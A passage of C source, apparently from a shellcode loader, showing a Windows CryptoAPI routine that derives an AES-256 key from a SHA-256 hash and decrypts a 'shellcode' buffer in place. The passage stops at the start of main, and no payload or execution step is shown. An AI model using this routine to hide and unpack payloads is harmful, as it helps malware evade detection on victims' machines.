| 51 | |
| 52 | |
| 53 | void DecryptAES(char* shellcode, DWORD shellcodeLen, char* key, DWORD keyLen) { |
| 54 | HCRYPTPROV hProv; |
| 55 | HCRYPTHASH hHash; |
| 56 | HCRYPTKEY hKey; |
| 57 | |
| 58 | if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { |
| 59 | printf("Failed in CryptAcquireContextW (%u)\n", GetLastError()); |
| 60 | return; |
| 61 | } |
| 62 | if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) { |
| 63 | printf("Failed in CryptCreateHash (%u)\n", GetLastError()); |
| 64 | return; |
| 65 | } |
| 66 | if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) { |
| 67 | printf("Failed in CryptHashData (%u)\n", GetLastError()); |
| 68 | return; |
| 69 | } |
| 70 | if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) { |
| 71 | printf("Failed in CryptDeriveKey (%u)\n", GetLastError()); |
| 72 | return; |
| 73 | } |
| 74 | |
| 75 | if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)shellcode, &shellcodeLen)) { |
| 76 | printf("Failed in CryptDecrypt (%u)\n", GetLastError()); |
| 77 | return; |
| 78 | } |
| 79 | |
| 80 | CryptReleaseContext(hProv, 0); |
| 81 | CryptDestroyHash(hHash); |
| 82 | CryptDestroyKey(hKey); |
| 83 | |
| 84 | } |
| 85 | |
| 86 | |
| 87 | int main(int argc, char** argv) { |